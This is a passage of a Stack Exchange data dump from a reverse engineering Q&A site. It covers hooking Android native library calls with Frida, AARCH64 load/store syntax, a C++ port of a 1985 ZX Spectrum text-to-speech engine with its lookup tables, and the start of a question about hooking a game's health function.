  <row Id="26541" PostTypeId="2" ParentId="26535" CreationDate="2020-12-14T18:23:15.987" Score="2" Body="&lt;p&gt;It is a bit unclear what do you mean by &amp;quot;library being called&amp;quot;. If you want to know when the library is loaded, you may look for references to &lt;code&gt;System.loadLibrary(string)&lt;/code&gt; or &lt;code&gt;System.load(string)&lt;/code&gt; java functions. You might for example hook it using &lt;a href=&quot;https://frida.re/docs/android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to see when particular functions exported by the &lt;code&gt;libusbhost.so&lt;/code&gt; are called, you also may use Frida. There is prebuild tool called &lt;a href=&quot;https://frida.re/docs/frida-trace/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida-trace&lt;/a&gt;. For example using &lt;code&gt;frida-trace -U -i “Java_*” [package_name]&lt;/code&gt;, will print out all the calls to JNI native functions from your app, along with their timestamp.&lt;/p&gt;&#xA;&lt;p&gt;If you want to alter the parameters of the called functions, modify the way they work, or replace their return values - you may find the &lt;a href=&quot;https://frida.re/docs/javascript-api/#interceptor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida Interceptor&lt;/a&gt; module useful.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-12-14T18:23:15.987" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26542" PostTypeId="1" AcceptedAnswerId="26554" CreationDate="2020-12-15T06:55:26.317" Score="1" ViewCount="2822" Body="&lt;p&gt;The following instructions are part of a IDA's disassembly of an AARCH64 binary. While it is fairly obvious that the &lt;code&gt;#&lt;/code&gt; represent pure numbers and the &lt;code&gt;[]&lt;/code&gt; probably refer to the memory address referred to by the elements in the &lt;code&gt;[]&lt;/code&gt;, I don't quite understand what is the role of the &amp;quot;,&amp;quot;. I appreciate a description of the following load and store instructions.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LDR             X1, [X28,#0x10]&#xA;STR             X0, [SP,#0x30+arg_8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2020-12-15T21:55:10.663" Title="What do the following AARCH64 LDR and STR instructions do exactly?" Tags="|ida|assembly|arm64|aarch64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26544" PostTypeId="1" AcceptedAnswerId="26552" CreationDate="2020-12-15T11:10:05.487" Score="5" ViewCount="259" Body="&lt;p&gt;For quite a long time I wanted to add TTS (text-to-speech) to my MCU applications and I tried quite few of them with more or less success always hitting a wall that either quality is not good or needed CPU power is too much.&lt;/p&gt;&#xA;&lt;p&gt;However I recently found a &lt;a href=&quot;https://retrocomputing.stackexchange.com/a/17208/6868&quot;&gt;very old TTS from ZX Spectrum&lt;/a&gt; (in the link is more info and also link to original tap file repository) that is really good and simple (just 801 Bytes of Z80 asm code). So I did it a try , disassembled it (extract the basic and asm from tap file by my own utilities and disassembled with YAZD) and port the result to C++ with complete success. It sound good on both PC and MCU with very little CPU power needed. It produces 1 bit digital sound.&lt;/p&gt;&#xA;&lt;h3&gt;Here is the C++ source code I made:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//---------------------------------------------------------------------------&#xA;//---  ZX Hlasovy program voicesoft 1985  -----------------------------------    &#xA;//--- ported to C++ by Spektre ver: 1.001 -----------------------------------&#xA;//---------------------------------------------------------------------------&#xA;#ifndef _speech_h&#xA;#define _speech_h&#xA;//---------------------------------------------------------------------------&#xA;// API:&#xA;void sound_out(bool on);    // you need to code this function (should add a sample to sound output)&#xA;void say_text(char *txt);   // say null terminated text, &amp;quot;a'c'&amp;quot; -&amp;gt; &amp;quot;áè&amp;quot;&#xA;//---------------------------------------------------------------------------&#xA;// internals:&#xA;void say_char(char chr);    // internal function for single character (do not use it !!!)&#xA;void say_wait(WORD ws);     // internal wait (do not use it !!!)&#xA;//---------------------------------------------------------------------------&#xA;// vars:&#xA;bool _sound_on=false;       // global state of the reproductor/sound output&#xA;//---------------------------------------------------------------------------&#xA;// config: (recomputed for 44100 Hz samplerate)&#xA;const static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)&#xA;const static WORD t_pause=183;      // [samples] pause between chars&#xA;const static WORD t_space=2925;     // [samples] pause ` `&#xA;const static WORD t_comma=5851;     // [samples] pause `,`&#xA;//---------------------------------------------------------------------------&#xA;// tables:&#xA;const static BYTE tab_char0[52]=    //  0..25 normal alphabet A..Z&#xA;    {                               // 26..51 diacritic alphabet A..Z&#xA;    0x00,0x02,0x06,0x0a,0x0e,0x10,0x12,0x16,0x1a,0x1c,0x22,0x26,0x2a,0x2e,0x32,&#xA;    0x34,0x38,0x42,0x48,0x4a,0x4e,0x50,0x50,0x56,0x1a,0x5c,0x64,0x66,0x70,0x74,&#xA;    0x7a,0x7c,0xc2,0x84,0x86,0xc2,0xc2,0xc2,0x88,0x8c,0x92,0x94,0xc2,0x9e,0xa6,&#xA;    0xa8,0xae,0xb0,0xc2,0xc2,0x86,0xbc&#xA;    };&#xA;const static BYTE tab_char1[196]=&#xA;    {&#xA;    0x36,0x81,0x34,0x19,0x31,0xab,0x18,0x19,0x91,0xc3,0x34,0x19,0x31,0xe0,0x36,&#xA;    0x84,0x92,0xe3,0x35,0x19,0x51,0x9c,0x31,0x31,0x34,0x96,0x36,0x87,0x33,0x3a,&#xA;    0x32,0x3d,0x32,0xc0,0x18,0x19,0x51,0x9c,0x33,0x22,0x31,0xb1,0x31,0x31,0x36,&#xA;    0xa5,0x31,0x31,0x36,0xa8,0x36,0x8a,0x18,0x19,0x31,0xab,0x18,0x19,0x51,0x1c,&#xA;    0x34,0x31,0x32,0x34,0x32,0xb7,0x22,0x10,0x13,0x19,0x21,0xae,0x92,0xc3,0x18,&#xA;    0x19,0x31,0xe0,0x36,0x8d,0x34,0x31,0x32,0x34,0x32,0xb7,0x18,0x19,0x71,0x1c,&#xA;    0x92,0xc3,0x32,0x31,0x32,0x43,0x32,0x44,0x32,0xc5,0x3f,0x81,0x34,0x19,0x31,&#xA;    0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x18,0x19,0x91,0xd3,0x33,0x19,0x71,0x6d,&#xA;    0x32,0x93,0x3e,0x84,0x92,0x63,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x92,0xf3,0x3e,&#xA;    0x87,0x31,0x31,0x36,0x25,0x31,0x31,0x35,0x25,0x32,0x93,0x3e,0x8a,0x18,0x19,&#xA;    0x31,0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x13,0x19,0x32,0x60,0x13,0x19,0x71,&#xA;    0xdd,0x92,0xd3,0x18,0x19,0x71,0x6d,0x32,0x93,0x3e,0x8d,0x34,0x31,0x32,0x34,&#xA;    0x32,0x37,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x32,0x53,0x32,0x54,0x32,0xd5,0x1a,&#xA;    0x99&#xA;    };&#xA;const static BYTE tab_char2[262]=&#xA;    {&#xA;    0x1a,0x99,0xe1,0xc3,0xe1,0xc7,0x8f,0x0f,0xf8,0x03,0x0f,0x07,0xc1,0xe3,0xff,&#xA;    0x40,0x17,0xff,0x00,0x03,0xf8,0x7c,0xc1,0xf1,0xf8,0x03,0xfe,0x00,0x7f,0xfc,&#xA;    0x00,0x03,0xf8,0x0f,0x09,0xf1,0xfe,0x03,0xef,0x40,0x17,0xff,0x00,0x03,0xe1,&#xA;    0x5c,0x35,0xc5,0xaa,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x8e,0x38,0x73,&#xA;    0xcf,0xf8,0x78,0xc3,0xdf,0x1c,0xf1,0xc7,0xfe,0x03,0xc0,0xff,0x00,0x00,0xff,&#xA;    0xf8,0x00,0x7f,0xf8,0x03,0xff,0xf0,0x01,0xff,0xe0,0x03,0xaa,0xca,0x5a,0xd5,&#xA;    0x21,0x3d,0xfe,0x1f,0xf8,0x00,0x00,0x1f,0xff,0xfc,0x20,0x00,0x00,0x03,0xff,&#xA;    0xff,0x08,0x79,0x00,0x02,0xff,0xe1,0xc7,0x1f,0xe0,0x03,0xff,0xd0,0x01,0xff,&#xA;    0xf0,0x03,0x7f,0x01,0xfa,0x5f,0xc0,0x07,0xf8,0x0f,0xc0,0xff,0x00,0x42,0xaa,&#xA;    0xa5,0x55,0x5a,0xaa,0xaa,0x5a,0xa5,0x5a,0xaa,0x55,0x55,0xaa,0xaa,0xa5,0x55,&#xA;    0xaa,0x5a,0xaa,0xa5,0x55,0xaa,0xaa,0xa5,0x55,0xaa,0xaa,0x55,0xa5,0xa5,0xaa,&#xA;    0xa5,0xb7,0x66,0x6c,0xd8,0xf9,0xb3,0x6c,0xad,0x37,0x37,0x66,0xfc,0x9b,0x87,&#xA;    0xf6,0xc0,0xd3,0xb6,0x60,0xf7,0xf7,0x3e,0x4d,0xfb,0xfe,0x5d,0xb7,0xde,0x46,&#xA;    0xf6,0x96,0xb4,0x4f,0xaa,0xa9,0x55,0xaa,0xaa,0xa5,0x69,0x59,0x9a,0x6a,0x95,&#xA;    0x55,0x95,0x55,0x6a,0xa5,0x55,0xa9,0x4d,0x66,0x6a,0x92,0xec,0xa5,0x55,0xd2,&#xA;    0x96,0x55,0xa2,0xba,0xcd,0x00,0x66,0x99,0xcc,0x67,0x31,0x8e,0x66,0x39,0xa6,&#xA;    0x6b,0x19,0x66,0x59,0xc6,0x71,0x09,0x67,0x19,0xcb,0x01,0x71,0xcc,0x73,0x19,&#xA;    0x99,0xcc,0xc6,0x67,0x19,0x9a,0xc6,&#xA;    };&#xA;const static BYTE tab_char3[5]={ 0x00,0x2e,0x5a,0x5e,0xfe };&#xA;//---------------------------------------------------------------------------&#xA;void say_text(char *txt)&#xA;    {&#xA;    WORD hl;&#xA;    BYTE a,b,c;&#xA;    for (b=0xBB,hl=0;;hl++)     // process txt&#xA;        {&#xA;        a=b;                    // a,c char from last iteration&#xA;        c=b;&#xA;        if (!a) break;          // end of txt&#xA;        b=txt[hl];              // b actual char&#xA;        if ((b&amp;gt;='a')&amp;amp;&amp;amp;(b&amp;lt;='z')) b=b+'A'-'a'; // must be uppercase&#xA;        a=c;&#xA;        if ((a&amp;gt;='A')&amp;amp;&amp;amp;(a&amp;lt;='Z'))&#xA;            {&#xA;            // handle diacritic&#xA;            if (a!='C'){ a=b; if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}&#xA;            else{&#xA;                a=b;&#xA;                if (a=='H'){ a+=0x1A; b=0xBB; }&#xA;                 else{ if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}&#xA;                }&#xA;            // syntetize sound&#xA;            say_char(a);&#xA;            continue;&#xA;            }&#xA;        if (a==',')say_wait(t_comma);&#xA;        if (a==' ')say_wait(t_space);&#xA;        }&#xA;    }&#xA;//----------------------------------------------------------------------&#xA;void say_wait(WORD ws)&#xA;    {&#xA;    for (;ws;ws--) sound_out(_sound_on);&#xA;    }&#xA;//----------------------------------------------------------------------&#xA;void say_char(char chr) // chr =  &amp;lt; `A` , `Z`+26 &amp;gt;&#xA;    {&#xA;    WORD hl,hl0;&#xA;    BYTE a,b,c,cy,cy0,ws;&#xA;    hl=tab_char0[chr-'A'];&#xA;    for (;;)&#xA;        {&#xA;        c =tab_char1[hl  ]&amp;amp;0x0F;&#xA;        c|=tab_char1[hl+1]&amp;amp;0x80;&#xA;        for (;;)&#xA;            {&#xA;            a=tab_char1[hl];&#xA;            a=(a&amp;gt;&amp;gt;5)&amp;amp;7;&#xA;            cy=a&amp;amp;1;&#xA;            hl0=hl;&#xA;            if (a!=0)&#xA;                {&#xA;                b=tab_char3[a];&#xA;                hl=hl0;&#xA;                a=tab_char1[hl+1];&#xA;                hl0=hl;&#xA;                cy0=(a&amp;gt;&amp;gt;7)&amp;amp;1;&#xA;                a=((a&amp;lt;&amp;lt;1)&amp;amp;254)|cy;&#xA;                cy=cy0;&#xA;                hl=a;&#xA;                a=0x80;&#xA;                for (;;)&#xA;                    {&#xA;                    _sound_on=(a&amp;amp;tab_char2[hl]);&#xA;                    for (ws=t_speed;ws;ws--) sound_out(_sound_on);&#xA;                    b--;&#xA;                    if (!b) break;&#xA;                    cy=a&amp;amp;1;     &#xA;                    a=((a&amp;gt;&amp;gt;1)&amp;amp;127)|(cy&amp;lt;&amp;lt;7);&#xA;                    if (!cy) continue;&#xA;                    hl++;&#xA;                    }&#xA;                }&#xA;            a^=a;&#xA;            say_wait(t_pause);&#xA;            c--;&#xA;            a=c&amp;amp;0x0F;&#xA;            hl=hl0; &#xA;            if (a==0) break;&#xA;            }&#xA;        cy0=(c&amp;gt;&amp;gt;7)&amp;amp;1;&#xA;        a=((c&amp;lt;&amp;lt;1)&amp;amp;254)|cy;&#xA;        cy=cy0;&#xA;        if (cy) return;&#xA;        hl+=2;&#xA;        }&#xA;    }&#xA;//---------------------------------------------------------------------------&#xA;#endif&#xA;//---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works perfectly however I would like to understand how the sound is synthetized. I can not make any sense of it... is it some sort of compression of samples or uses &lt;a href=&quot;https://swphonetics.com/praat/tutorials/what-are-formants/&quot; rel=&quot;nofollow noreferrer&quot;&gt;formant filter&lt;/a&gt; to synthetize sound or combines them or its something else?&lt;/p&gt;&#xA;&lt;p&gt;So I want to dissect the &lt;code&gt;say_char&lt;/code&gt; function to make sense/meaning of the &lt;code&gt;tab_char?[]&lt;/code&gt; LUT tables.&lt;/p&gt;&#xA;&lt;h3&gt;[Edit2] thanks to Edward new more C/C++ like version&lt;/h3&gt;&#xA;&lt;p&gt;I rearranged the tables and added a lot of comment info to be more didactical and possible to tweak:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//---------------------------------------------------------------------------&#xA;//---  ZX Hlasovy program voicesoft 1985  -----------------------------------&#xA;//--- ported to C++ by Spektre ver: 2.001 -----------------------------------&#xA;//---------------------------------------------------------------------------&#xA;#ifndef _speech_h&#xA;#define _speech_h&#xA;//---------------------------------------------------------------------------&#xA;// API:&#xA;void sound_out(bool on);    // you need to code this function (should add a sample to sound output)&#xA;void say_text(char *txt);   // say null terminated text, &amp;quot;a'c'&amp;quot; -&amp;gt; &amp;quot;áč&amp;quot;&#xA;//---------------------------------------------------------------------------&#xA;// internals:&#xA;void say_char(char chr);    // internal function for single character (do not use it !!!)&#xA;void say_wait(WORD ws);     // internal wait (do not use it !!!)&#xA;//---------------------------------------------------------------------------&#xA;// vars:&#xA;bool _sound_on=false;       // global state of the reproductor/sound output&#xA;//---------------------------------------------------------------------------&#xA;// config: (recomputed for 44100 Hz samplerate)&#xA;const static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)&#xA;const static WORD t_pause=183;      // [samples] pause between chars&#xA;const static WORD t_space=2925;     // [samples] pause ` `&#xA;const static WORD t_comma=5851;     // [samples] pause `,`&#xA;//---------------------------------------------------------------------------&#xA;// point to RLE encoded character sound (RLE_ix)&#xA;const static BYTE tab_char[52]=&#xA;    {&#xA;//   A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z&#xA;     0, 1, 3, 5, 7, 8, 9,11,13,14,17,19,21,23,25,26,28,33,36,37,39,40,40,43,13,46,&#xA;//   A' B' C' D' E' F' G' H' I' J' K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z'&#xA;    50,51,56,58,61,62,97,66,67,97,97,97,68,70,73,74,97,79,83,84,87,88,97,97,67,94,&#xA;    };&#xA;// RLE encoded character sounds&#xA;const static WORD tab_RLE[98]=&#xA;    {&#xA;    //  15 14 13 12 11 10  9  8  7  6  5  4  3  2  1  0&#xA;    // end -----num------ ------------PCM_ix-----------&#xA;                                                // ix char&#xA;    0x9804,                                     //  0 A&#xA;    0x103D,0x8473,                              //  1 B&#xA;    0x203C,0x84AB,                              //  3 C&#xA;    0x103D,0x8524,                              //  5 D&#xA;    0x980B,                                     //  7 E&#xA;    0x892B,                                     //  8 F&#xA;    0x143D,0x8444,                              //  9 G&#xA;    0x0481,0x9035,                              // 11 H&#xA;    0x9812,                                     // 13 I,Y&#xA;    0x0C96,0x089D,0x88A4,                       // 14 J&#xA;    0x203C,0x8444,                              // 17 K&#xA;    0x0C5E,0x8481,                              // 19 L&#xA;    0x0481,0x9865,                              // 21 M&#xA;    0x0481,0x986C,                              // 23 N&#xA;    0x9819,                                     // 25 O&#xA;    0x203C,0x8473,                              // 26 P&#xA;    0x203C,0x0444,0x1081,0x0888,0x888F,         // 28 Q&#xA;    0x0827,0x0C3C,0x847A,                       // 33 R&#xA;    0x88AB,                                     // 36 S&#xA;    0x203C,0x8524,                              // 37 T&#xA;    0x9820,                                     // 39 U&#xA;    0x1081,0x0888,0x888F,                       // 40 V,W&#xA;    0x203C,0x0451,0x88AB,                       // 43 X&#xA;    0x0881,0x08CC,0x08D3,0x88DA,                // 46 Z&#xA;    0xBC04,                                     // 50 A'&#xA;    0x103D,0x0473,0x0C96,0x089D,0x88A4,         // 51 B' *&#xA;    0x203C,0x84E1,                              // 56 C'&#xA;    0x0C3D,0x054C,0x882E,                       // 58 D'&#xA;    0xB80B,                                     // 61 E'&#xA;    0x092B,0x0C96,0x089D,0x88A4,                // 62 F' *&#xA;    0x8959,                                     // 66 CH,H'&#xA;    0xB812,                                     // 67 I',Y'&#xA;    0x0481,0x1865,                              // 68 M' overlap with N' *&#xA;                  0x0481,0x1465,0x882E,         // 70 N' overlap with M'&#xA;    0xB819,                                     // 73 O'&#xA;    0x203C,0x0473,0x0C96,0x089D,0x88A4,         // 74 P' *&#xA;    0x0C3C,0x0924,0x0C3C,0x8517,                // 79 R'&#xA;    0x88E1,                                     // 83 S'&#xA;    0x203C,0x054C,0x882E,                       // 84 T'&#xA;    0xB820,                                     // 87 U'&#xA;    0x1081,0x0888,0x088F,0x0C96,0x089D,0x88A4,  // 88 V',W' *&#xA;    0x0902,0x0909,0x8910,                       // 94 Z'&#xA;    0xA83C,                                     // 97 G',J',K',L',Q',X',W' (no sound)&#xA;    // missing: Ľ/Ĺ,Ř/Ŕ,Ú/ˇU,ô,ä,é/ě&#xA;    // accent?: B',F',M',P',V'&#xA;    // nosound: G',J',K',L',Q',X',W'&#xA;    };&#xA;// formant sounds sampled as 1bit PCM&#xA;const static BYTE tab_PCM[]=&#xA;    {&#xA;// bits,1bit PCM samples                            //  ix,sample in binary&#xA;     24,0x1A,0x99,0xE1,                             //   0,000110101001100111100001&#xA;     46,0xC3,0xE1,0xC7,0x8F,0x0F,0xF8,              //   4,110000111110000111000111100011110000111111111000&#xA;     46,0x03,0x0F,0x07,0xC1,0xE3,0xFF,              //  11,000000110000111100000111110000011110001111111111&#xA;     46,0x40,0x17,0xFF,0x00,0x03,0xF8,              //  18,010000000001011111111111000000000000001111111000&#xA;     46,0x7C,0xC1,0xF1,0xF8,0x03,0xFE,              //  25,011111001100000111110001111110000000001111111110&#xA;     46,0x00,0x7F,0xFC,0x00,0x03,0xF8,              //  32,000000000111111111111100000000000000001111111000&#xA;     46,0x0F,0x09,0xF1,0xFE,0x03,0xEF,              //  39,000011110000100111110001111111100000001111101111&#xA;     46,0x40,0x17,0xFF,0x00,0x03,0xE1,              //  46,010000000001011111111111000000000000001111100001&#xA;     46,0x5C,0x35,0xC5,0xAA,0x35,0x00,              //  53,010111000011010111000101101010100011010100000000&#xA;      0,                                            //  60,&#xA;     46,0x00,0x00,0x00,0x00,0x00,0x3E,              //  61,000000000000000000000000000000000000000000111110&#xA;     90,0x3E,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,    //  68,0011111010001110001110000111001111001111111110000111100011000011&#xA;        0xDF,0x1C,0xF1,0xC7,                        //     11011111000111001111000111000111&#xA;     94,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,0xDF,    //  81,1000111000111000011100111100111111111000011110001100001111011111&#xA;        0x1C,0xF1,0xC7,0xFE,                        //     00011100111100011100011111111110&#xA;     46,0x03,0xC0,0xFF,0x00,0x00,0xFF,              //  94,000000111100000011111111000000000000000011111111&#xA;     46,0xF8,0x00,0x7F,0xF8,0x03,0xFF,              // 101,111110000000000001111111111110000000001111111111&#xA;     46,0xF0,0x01,0xFF,0xE0,0x03,0xAA,              // 108,111100000000000111111111111000000000001110101010&#xA;     46,0xCA,0x5A,0xD5,0x21,0x3D,0xFE,              // 115,110010100101101011010101001000010011110111111110&#xA;     46,0x1F,0xF8,0x00,0x00,0x1F,0xFF,              // 122,000111111111100000000000000000000001111111111111&#xA;     46,0xFC,0x20,0x00,0x00,0x03,0xFF,              // 129,111111000010000000000000000000000000001111111111&#xA;     46,0xFF,0x08,0x79,0x00,0x02,0xFF,              // 136,111111110000100001111001000000000000001011111111&#xA;     46,0xE1,0xC7,0x1F,0xE0,0x03,0xFF,              // 143,111000011100011100011111111000000000001111111111&#xA;     46,0xD0,0x01,0xFF,0xF0,0x03,0x7F,              // 150,110100000000000111111111111100000000001101111111&#xA;     46,0x01,0xFA,0x5F,0xC0,0x07,0xF8,              // 157,000000011111101001011111110000000000011111111000&#xA;     46,0x0F,0xC0,0xFF,0x00,0x42,0xAA,              // 164,000011111100000011111111000000000100001010101010&#xA;    254,0xAA,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,0xA5,    // 171,1010101010100101010101010101101010101010101010100101101010100101&#xA;        0x5A,0xAA,0x55,0x55,0xAA,0xAA,0xA5,0x55,    //     0101101010101010010101010101010110101010101010101010010101010101&#xA;        0xAA,0x5A,0xAA,0xA5,0x55,0xAA,0xAA,0xA5,    //     1010101001011010101010101010010101010101101010101010101010100101&#xA;        0x55,0xAA,0xAA,0x55,0xA5,0xA5,0xAA,0xA5,    //     0101010110101010101010100101010110100101101001011010101010100101&#xA;     46,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,              // 204,101001010101010101011010101010101010101001011010&#xA;     46,0x5A,0xAA,0xAA,0x5A,0xA5,0x5A,              // 211,010110101010101010101010010110101010010101011010&#xA;     46,0xAA,0x5A,0xA5,0x5A,0xAA,0x55,              // 218,101010100101101010100101010110101010101001010101&#xA;    254,0xB7,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,0xAD,    // 225,1011011101100110011011001101100011111001101100110110110010101101&#xA;        0x37,0x37,0x66,0xFC,0x9B,0x87,0xF6,0xC0,    //     0011011100110111011001101111110010011011100001111111011011000000&#xA;        0xD3,0xB6,0x60,0xF7,0xF7,0x3E,0x4D,0xFB,    //     1101001110110110011000001111011111110111001111100100110111111011&#xA;        0xFE,0x5D,0xB7,0xDE,0x46,0xF6,0x96,0xB4,    //     1111111001011101101101111101111001000110111101101001011010110100&#xA;     46,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,              // 258,011001100110110011011000111110011011001101101100&#xA;     46,0xD8,0xF9,0xB3,0x6C,0xAD,0x37,              // 265,110110001111100110110011011011001010110100110111&#xA;     46,0xB3,0x6C,0xAD,0x37,0x37,0x66,              // 272,101100110110110010101101001101110011011101100110&#xA;     94,0x3E,0x4D,0xFB,0xFE,0x5D,0xB7,0xDE,0x46,    // 279,0011111001001101111110111111111001011101101101111101111001000110&#xA;        0xF6,0x96,0xB4,0x4F,                        //     11110110100101101011010001001111&#xA;     46,0xDE,0x46,0xF6,0x96,0xB4,0x4F,              // 292,110111100100011011110110100101101011010001001111&#xA;    254,0x4F,0xAA,0xA9,0x55,0xAA,0xAA,0xA5,0x69,    // 299,0100111110101010101010010101010110101010101010101010010101101001&#xA;        0x59,0x9A,0x6A,0x95,0x55,0x95,0x55,0x6A,    //     0101100110011010011010101001010101010101100101010101010101101010&#xA;        0xA5,0x55,0xA9,0x4D,0x66,0x6A,0x92,0xEC,    //     1010010101010101101010010100110101100110011010101001001011101100&#xA;        0xA5,0x55,0xD2,0x96,0x55,0xA2,0xBA,0xCD,    //     1010010101010101110100101001011001010101101000101011101011001101&#xA;     94,0x6A,0x92,0xEC,0xA5,0x55,0xD2,0x96,0x55,    // 332,0110101010010010111011001010010101010101110100101001011001010101&#xA;        0xA2,0xBA,0xCD,0x00,                        //     10100010101110101100110100000000&#xA;    254,0x00,0x66,0x99,0xCC,0x67,0x31,0x8E,0x66,    // 345,0000000001100110100110011100110001100111001100011000111001100110&#xA;        0x39,0xA6,0x6B,0x19,0x66,0x59,0xC6,0x71,    //     0011100110100110011010110001100101100110010110011100011001110001&#xA;        0x09,0x67,0x19,0xCB,0x01,0x71,0xCC,0x73,    //     0000100101100111000110011100101100000001011100011100110001110011&#xA;        0x19,0x99,0xCC,0xC6,0x67,0x19,0x9A,0xC6,    //     0001100110011001110011001100011001100111000110011001101011000110&#xA;    };&#xA;//---------------------------------------------------------------------------&#xA;void say_text(char *txt)&#xA;    {&#xA;    int i;&#xA;    char a0,a1;&#xA;    for (a1=0xBB,i=0;a1;i++)                            // process txt&#xA;        {&#xA;        a0=a1; a1=txt[i];                               // a0,a1 are last,actual char&#xA;        if ((a1&amp;gt;='a')&amp;amp;&amp;amp;(a1&amp;lt;='z')) a1+='A'-'a';          // a..z -&amp;gt; A..Z&#xA;        if ((a0=='C')&amp;amp;&amp;amp;(a1=='H')){ a0='H'; a1='\''; }   // CH -&amp;gt; H'&#xA;        if ((a0&amp;gt;='A')&amp;amp;&amp;amp;(a0&amp;lt;='Z'))&#xA;            {&#xA;            if (a1=='\''){ a0+=0x1A; a1=0xBB; }         // handle diacritic&#xA;            say_char(a0);                               // syntetize sound&#xA;            continue;&#xA;            }&#xA;        if (a0==',') say_wait(t_comma);&#xA;        if (a0==' ') say_wait(t_space);&#xA;        }&#xA;    }&#xA;//----------------------------------------------------------------------&#xA;void say_wait(WORD ws)&#xA;    {&#xA;    for (;ws;ws--) sound_out(_sound_on);&#xA;    }&#xA;//----------------------------------------------------------------------&#xA;void say_char(char chr) // chr =  &amp;lt; `A` , `Z`+26 &amp;gt;&#xA;    {&#xA;    WORD a;&#xA;    BYTE ws,pcm;&#xA;    int i,j,e,num,pcm_ix,bits;&#xA;    i=tab_char[chr-'A'];&#xA;    for (e=1;e;i++)&#xA;        {&#xA;        a=tab_RLE[i];&#xA;        e     =!(a     &amp;amp;0x8000);&#xA;        num   = (a&amp;gt;&amp;gt;10)&amp;amp;0x001F;&#xA;        pcm_ix=  a     &amp;amp;0x03FF;&#xA;        for (;num;num--)&#xA;            {&#xA;            for (j=pcm_ix,bits=tab_PCM[j],j++;bits;j++)&#xA;             for (pcm=tab_PCM[j],a=0x80;(bits)&amp;amp;&amp;amp;(a);a&amp;gt;&amp;gt;=1,bits--)&#xA;              for (_sound_on=(a&amp;amp;pcm),ws=t_speed;ws;ws--)&#xA;               sound_out(_sound_on);&#xA;            say_wait(t_pause);&#xA;            }&#xA;        }&#xA;    }&#xA;//---------------------------------------------------------------------------&#xA;#endif&#xA;//---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="245" LastEditDate="2020-12-18T12:47:05.573" LastActivityDate="2020-12-18T12:47:05.573" Title="Understand/Reverse simple (but good quality) TTS engine" Tags="|c++|audio|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26545" PostTypeId="5" CreationDate="2020-12-15T11:56:35.740" Score="0" Body="&lt;p&gt;audio contains techniques , hardware , software, and algorithms related to sound&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2020-12-20T08:32:35.807" LastActivityDate="2020-12-20T08:32:35.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26546" PostTypeId="4" CreationDate="2020-12-15T11:56:35.740" Score="0" Body="audio - sound related topics " OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2020-12-17T19:52:25.883" LastActivityDate="2020-12-17T19:52:25.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26547" PostTypeId="1" AcceptedAnswerId="26549" CreationDate="2020-12-15T12:10:33.533" Score="1" ViewCount="310" Body="&lt;p&gt;I need to hook this function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005589CB sub_5589CB      proc near               ; CODE XREF: AddHealth(int,long)+1A↑j&#xA;.text:005589CB                                         ; sub_5328D8+98E↑p ...&#xA;.text:005589CB&#xA;.text:005589CB var_4           = dword ptr -4&#xA;.text:005589CB&#xA;.text:005589CB                 xorps   xmm0, xmm0&#xA;.text:005589CE                 ucomiss xmm1, xmm0&#xA;.text:005589D1                 lahf&#xA;.text:005589D2                 test    ah, 44h&#xA;.text:005589D5                 jnp     short locret_558A1D&#xA;.text:005589D7                 movss   xmm2, dword ptr [ecx+564h]&#xA;.text:005589DF                 comiss  xmm2, xmm0&#xA;.text:005589E2                 jbe     short locret_558A1D&#xA;.text:005589E4                 cmp     ecx, dword_89A288&#xA;.text:005589EA                 jnz     short loc_5589FF&#xA;.text:005589EC                 comiss  xmm1, xmm0&#xA;.text:005589EF                 ja      short loc_5589FF&#xA;.text:005589F1                 mov     eax, dword_8CF880&#xA;.text:005589F6                 cmp     byte ptr [eax+4BBh], 0&#xA;.text:005589FD                 jnz     short locret_558A1D&#xA;.text:005589FF&#xA;.text:005589FF loc_5589FF:                             ; CODE XREF: sub_5589CB+1F↑j&#xA;.text:005589FF                                         ; sub_5589CB+24↑j&#xA;.text:005589FF                 movss   xmm0, dword ptr [ecx+560h]&#xA;.text:00558A07                 mov     eax, [ecx]&#xA;.text:00558A09                 addss   xmm0, xmm1&#xA;.text:00558A0D                 push    ecx&#xA;.text:00558A0E                 minss   xmm0, xmm2&#xA;.text:00558A12                 movss   [esp+4+var_4], xmm0&#xA;.text:00558A17                 call    dword ptr 